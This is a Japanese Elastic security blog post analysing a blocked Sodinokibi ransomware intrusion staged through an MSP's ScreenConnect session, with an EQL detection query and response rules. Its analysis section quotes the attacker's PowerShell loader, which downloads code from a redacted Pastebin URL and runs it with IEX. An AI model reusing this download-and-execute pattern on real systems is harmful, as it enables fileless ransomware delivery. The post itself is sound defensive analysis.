ランサムウェアを阻止:Sodinokibi&サプライチェーン | Elastic Blog
エンジニアリング

ランサムウェアを阻止:Sodinokibi&サプライチェーン

Elasticセキュリティ防御チームは先月、Elasticをご利用のITマネージドサービスプロバイダ(MSP)が監視する組織を標的とするランサムウェア攻撃を防御しました。私たちは、複数のエンドポイントでElastic Endpoint Securityが敵のプロセスインジェクションの試みを防御した後に生成されたアラートを分析しました。敵はしばしば、身代金を要求するために被害者のデータを暗号化して使用不能にする前に、実行中のプロセスに悪意のあるコードを注入しようとします。

私たちがこのケースで観測した振る舞いは、悪意ある行為者(アクター)についての報告とも一致しています。エンタープライズスケールでランサムウェアをデプロイするために、MSPを標的するアクターがいるという報告です。MSPと顧客の信頼関係を悪用するこの種の攻撃では、影響が広く波及します。小規模ビジネスを休止に追い込んだり、交通を麻痺させる、あるいは自治体が運営するクリティカルな公共サービスを破壊することも不可能ではありません。

このケースで注目すべき点として、敵が別のMSPを経由して標的の環境へのアクセスを試みたことがあります。標的となった企業はElasticセキュリティの直接の顧客ではなく、Elasticではご使用の環境や、どのような感染可能性があるかの詳細については把握していません。

本ブログ記事では、Elasticのチームが観測、および防御した悪意ある振る舞いの内容と、この攻撃がさまざまな場所でたびたび成功している理由、さらに、このタイプの攻撃の有効性を低下させる企業内での取り組みについてご紹介します。

“Elastic Security Intelligence and Analytics”(Elasticセキュリティインテリジェンス&アナリティクス)は、“Elastic Security Engineering”(Elasticセキュリティエンジニアリング)内の1チームです。協力先顧客からくる匿名化されたセキュリティテレメトリを使用して脅威を追跡したり、プロダクトの改善を実施しており、職務の一環としてアラートメタデータの収集も行っています。多くの顧客に影響を与えるイベントのパターンを監視することでタイムセンシティブな意思決定を下し、発生しつつある脅威を緩和する機能向上に役立てたり、重要な情報をコミュニティに提供したりしています。

悪意あるプロセスインジェクションを防ぐ

侵害のエビデンスで最も初期のものは、複数のプロセスインジェクションの試みが防御されたときに検知されました。プロセスインジェクションを使うと、実行中のプロセスのアドレス空間でコードを実行することができます。多くの場合、敵はこのテクニックをセキュリティプロダクトによる検知を回避する、あるいは高い統合レベルで実行されるプロセスで悪意あるコードを実行し、特権を引き上げる目的で実行します。

ransomware-prevention-blog-process-injection-alerts.png

Elastic Endpoint Securityプラットフォームのプロセスインジェクションアラート

このプロセスインジェクションアラートを分析した結果、シェルコードを注入する目的でPowerShellが活用されていたことが立証されました。PowerShellはパワフルなネイティブスクリプティングフレームワークであり、通常、これは悪意のある振る舞いです。リモートデスクトップサポートアプリのScreenConnect.WindowsClient.exeの下位に、powershell.exeプロセスが作成されています。このタイプのソフトウェアは、IT管理者がリモートコンピューターに接続し、エンドユーザーをサポートするために使用されます。一方、このようなアプリケーションはしばしば敵によって、“Living Off the Land(環境寄生)”戦術に悪用されることが知られています。

次の図は、このケースに関連する異常なプロセスの系列をResolver™で表示したものです。Elasticが提供するResolver™は、攻撃に結び付くイベントを表示する可視化サービスです。

Resolver™がプロセスインジェクションの試みに結び付くプロセスの系列を表示している

cmd.exepowershell.exeはどちらもScreenConnect.WindowsClient.exeプロセスの下位にあります。悪意あるコマンドやスクリプトを実行する能力を持つため、疑わしいプロセスと言えるでしょう。しかし、切り離したこの部分だけから、悪意あるアクティビティが示されるとは限りません。使用環境のベースラインを実施し、組織内の通常のプロセス関係を把握することは、悪意ある振る舞いのハンティングや検知、対応に不可欠です。

このケースでは、プロセスとコマンドライン引数を確認する作業から、ScreenConnectリモートデスクトップソフトウェアが接続を行い、ターゲットエンドポイントにバッチファイルをコピーするために悪用されたことが明らかになりました。Resolver™に表示されたcmd.exeプロセスの1つを調査すると、バッチファイルにBase64-encoded PowerShellスクリプトが含まれており、その後実行されていることが分かります。

望ましくない振る舞いをEQLで検知、防御する

Elastic Endpoint Securityが防御した今回の標的は、ランサムウェアへの集団感染により経済的な損害を被る事態は免れました。しかし、今も多くのMSPがこのメソッドの問題に直面しています。サービスプロバイダーの顧客がプロバイダーに絶対的な信頼を寄せており、そのためにあらゆるプロバイダーが価値ある存在となっていることを敵はよく理解しています。

典型的な敵は、標的の環境への初期アクセスを獲得すると、このケースのように明白な信頼関係を探して、悪用します。標的の組織は、MSPから、リモートデスクトップサポートアプリを経由した組織の環境への接続を信頼しています。これは、サプライチェーン侵害のリスクを生じさせています。

このような信頼関係を監視/防御する手段を考えるにあたり、まず重点的に着手したいのが、信頼されているパーティーからネットワークへ接続するためのアプリです。ScreenConnectの下位プロセスをブラックリスト化することは、今回の悪意ある振る舞いに対して有望なソリューションなる可能性はあまり高くありません。この方法は、正当なサポート担当者の有効化を妨げる恐れがあります。しかし、セキュリティ監視チームは、ネットワークを使用しているScreenConnectの下位プロセスが疑わしいかどうかを判断し、その振る舞いを検知、および防御することができます。これは、ElasticのEvent Query Language(EQL)を使って実施することができ、環境へのアウェアネスを構築する一般的なアプローチでもあります。

下のEQLクエリはプロセスが持つ、固有プロセスID(PID)を使って結びつけられた2つのイベントのシーケンスを検索します。1つ目のイベントは、ScreenConnect*.exeの下位にあるプロセスを探しています。2つ目のイベントは、この下位プロセスから来るネットワークアクティビティを探しています。このクエリは簡単に拡張できます。拡張によって使用環境内の他のリモートアクセスソフトウェアを含めたり、期待されるアクティビティを絞り込むことが可能です。

sequence by unique_pid
  [process where descendant of [process where process_name == "ScreenConnect*.exe"]]
  [network where true]

Elastic Endpoint Securityでは、Reflex Responseアクション(反射対応アクション)を設定することにより、ユーザーが独自のカスタム防御ルールを実装することもできます。たとえば、ネットワーク接続を確立した時点で下位プロセスをキルするよう設定できます。これにより、悪意あるコードをさらにダウンロードしたり、アクティビティをコマンド、あるいは制御する試みを防ぐことになります。

Elastic Endpoint SecurityプラットフォームでReflex Responseアクションを設定する

Elastic Endpoint Securityは数百に及ぶ独自の振る舞いベースの分析を搭載しており、サードパーティの管理ツールやWindows/MacOS/Linux OSにネイティブのバリナリを含む異常なプロセス関係を検知、および防御する手段となります。

スパイ活動のノウハウを分析する

実行されたPowerShellスクリプトは、.NET WebClientクラスを使用してPastebinとInvoke-ExpressionIEX)cmdletからからコンテンツをダウンロードし、コードを実行する前に、プロセッサーのアーキテクチャーを確認していました。これは、PowerShellを経由してコードをダウンロード/実行する敵の一般的なテクニックです。

Pastebinはプレーンテキストをホストするサービスで、適法なユーザーがコードのスニペットを公開する場所としてもよく使われます。一方で、悪意ある行為者たちもPastebinや類似のWebサイトを使用し、悪意あるコードを格納したり、漏洩させた認証情報を公開したりしています。

If ($ENV:PROCESSOR_ARCHITECTURE  - contains 'AMD64')  {
    Start - Process  - FilePath "$Env:WINDIR\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"  - argument "IEX ((new-object net.webclient).downloadstring('https://pastebin[.]com/raw/[REDACTED]'));Invoke-LJJJIWVSRIMKPOD;Start-Sleep -s 1000000;"
} else {
    IEX ((new - object net.webclient).downloadstring('https://pastebin[.]com/raw/[REDACTED]'));
    Invoke - LJJJIWVSRIMKPOD;
    Start - Sleep  - s 1000000;
}
pastebin.comからコンテンツ1をダウンロードしたPowerShellスクリプト

この振る舞いは一般に、エンドポイントに生じるディスクアクティビティがゼロ、または最小限であることから“ファイルレス攻撃”、または“インメモリー攻撃”と分類されています。Elastic Endpoint Securityエージェントは、ファイルレス攻撃を検知すると、注入されるよう仕組まれたコードとストリングを自動で収集、および抽出します。この機能は、防御した振る舞いに対する完全な可視性を実現しました。

収集したストリングをVirusTotalで検索してみたところ、Sodinokibiランサムウェアファミリーから採取された複数のサンプルであることが判明しました。

下の具体的なツールマークと振る舞いは、このアクティビティがBleepingComputerと、Cynetによって報告されたSodinokibiまたはGandcrabランサムウェアサンプルの実行と一致することを示しています。

  • この悪意ある行為者は、感染したMSPから標的の企業に接続するため、ScreenConnectリモートデスクトップサポートソフトウェアを利用していました。
  • ScreenConnectはバッチスクリプトをエンドポイントにコピーするために使用されており、エンドポイントにはPastebinから悪意あるコードをダウンロード、および注入するためのPowerShellスクリプトが含まれていました。
  • このPowerShellスクリプトには、他のSodinokibiランサムウェア攻撃で見つかっているcmdletsとストリング(例:Invoke-LJJJIWVSRIMKPODStart-Sleep)が含まれていました。
  • 注入されたスレッドから収集されたストリングは、過去24時間以内にVirusTotalに投稿されたSodinokibiランサムウェアのサンプルと一致しています。

シェルコードを自己注入してランサムウェアを実行しようとした敵の試みを防御した後、敵によるイニシャルエンドポイントでの攻撃は停止しました。敵は15分後に戻ってきて、さらに5つのエンドポイントで同じ手順を実行しようと試みたのち、あきらめています。ランサムウェアをデプロイしようとしたすべての企てを阻止することができました。

まとめ

本記事では、MSPと顧客の関係性を悪用してランサムウェアをデプロイしようとする、実際に起きた悪意ある行為者のケースについて説明しました。これは、組織がサードパーティとの間に築く関係性と、接続の悪用の潜在的な影響を理解することの重要性を端的に示す事例です。

アラートの分析から、敵はリモートデスクトップサポートソフトウェアを経由して顧客の環境に接続したこと、ランサムウェアをダウンロード、および注入、実行しようとする悪意あるスクリプトを実行したことが明らかになりました。しかし、敵の企てをすべて防御することができました。

今回のケースは、セキュリティのアプローチをレイヤー化させ、敵の振る舞いとファイルレス攻撃を検知、および防御できるようにする取り組みの重要性を明らかにしています。私たちは攻撃者の手順を詳細に検討し、EQLとReflexを使用してカスタムルールと対応を作成する方法をご紹介しました。

悪意あるファイルを探すだけでは、十分ではありません。Elastic Endpoint Securityはランサムウェアやファイルレス攻撃、フィッシング、詐欺、敵対的な振る舞いに対し、複数のレイヤーからなる挙動ベースの防御を提供します。

EQLのサポートを、Elasticsearchに追加することができますElastic Endpoint Securityの開発に関する最新情報を受け取るか、または早期アクセスプログラムに登録することができます。

1 — このコンテンツはその後、作成者、またはPastebinの運営者によってPastebinから削除されています